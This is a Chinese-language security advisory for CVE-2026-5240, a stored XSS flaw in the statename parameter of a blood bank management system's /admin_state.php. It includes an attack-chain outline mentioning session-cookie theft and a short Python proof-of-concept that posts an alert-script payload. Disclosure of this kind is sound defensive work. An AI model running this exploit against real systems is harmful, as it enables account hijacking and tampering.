IPBUF安全漏洞报告
English
CVE-2026-5240 CVSS 4.3 中危

CVE-2026-5240 BloodBank存储型XSS漏洞

披露日期: 2026-04-01

漏洞信息

漏洞编号
CVE-2026-5240
漏洞类型
存储型跨站脚本 (Stored XSS)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
code-projects BloodBank Managing System

相关标签

XSS存储型XSSBloodBank Managing SystemWeb安全CVE-2026-5240

漏洞概述

code-projects BloodBank Managing System 1.0版本中存在安全漏洞。该漏洞影响/admin_state.php文件,由于对statename参数缺乏充分的过滤和验证,导致攻击者可以注入恶意脚本。这是一个存储型跨站脚本(XSS)漏洞,攻击者无需认证即可远程发起攻击,利用该漏洞可在受害者浏览器中执行恶意代码,对系统完整性构成威胁。

技术细节

该漏洞根因在于BloodBank Managing System 1.0的/admin_state.php文件中未对用户输入的statename参数进行严格的过滤和转义。攻击者利用这一缺陷,可以向服务器提交包含恶意JavaScript代码的数据。由于系统直接将原始数据存储并展示在后续的页面响应中,这构成了存储型跨站脚本(Stored XSS)。攻击路径无需预先认证(PR:N),攻击复杂度低(AC:L),可通过网络直接发起(AV:N)。尽管需要用户交互(UI:R),即受害者需要访问受感染的页面,但一旦触发,攻击者即可在受害者的浏览器环境中执行任意脚本。这可能导致窃取管理员的Session ID、进行钓鱼攻击或篡改页面内容,对系统完整性(I:L)造成负面影响。

攻击链分析

STEP 1
侦察
攻击者识别出目标系统运行的是BloodBank Managing System 1.0,并确认/admin_state.php接口存在。
STEP 2
漏洞利用
攻击者构造包含恶意JavaScript代码的statename参数,并通过POST请求将其发送至/admin_state.php接口。
STEP 3
存储与触发
服务器将未经过滤的恶意脚本存储在数据库中。当管理员或其他用户访问显示该状态的页面时,恶意代码在浏览器中执行。
STEP 4
达成目标
利用执行脚本窃取Cookie、会话令牌或重定向用户,进一步控制系统。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (example) target_url = "http://target-ip/BloodBank/admin_state.php" # Malicious payload to test XSS # Simple script alert to verify vulnerability payload = "<script>alert('XSS-Test')</script>" # Data to be sent data = { "statename": payload, # Other required parameters might be needed depending on the form structure } try: # Send POST request to inject the payload response = requests.post(target_url, data=data) if response.status_code == 200: print("Payload sent successfully.") print("Check the admin page to see if the alert triggers.") else: print(f"Request failed with status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")

影响范围

code-projects BloodBank Managing System 1.0

防御指南

临时缓解措施
建议管理员暂时禁用受影响的管理页面功能,或在Web服务器层面部署WAF规则以拦截包含恶意脚本字符的请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表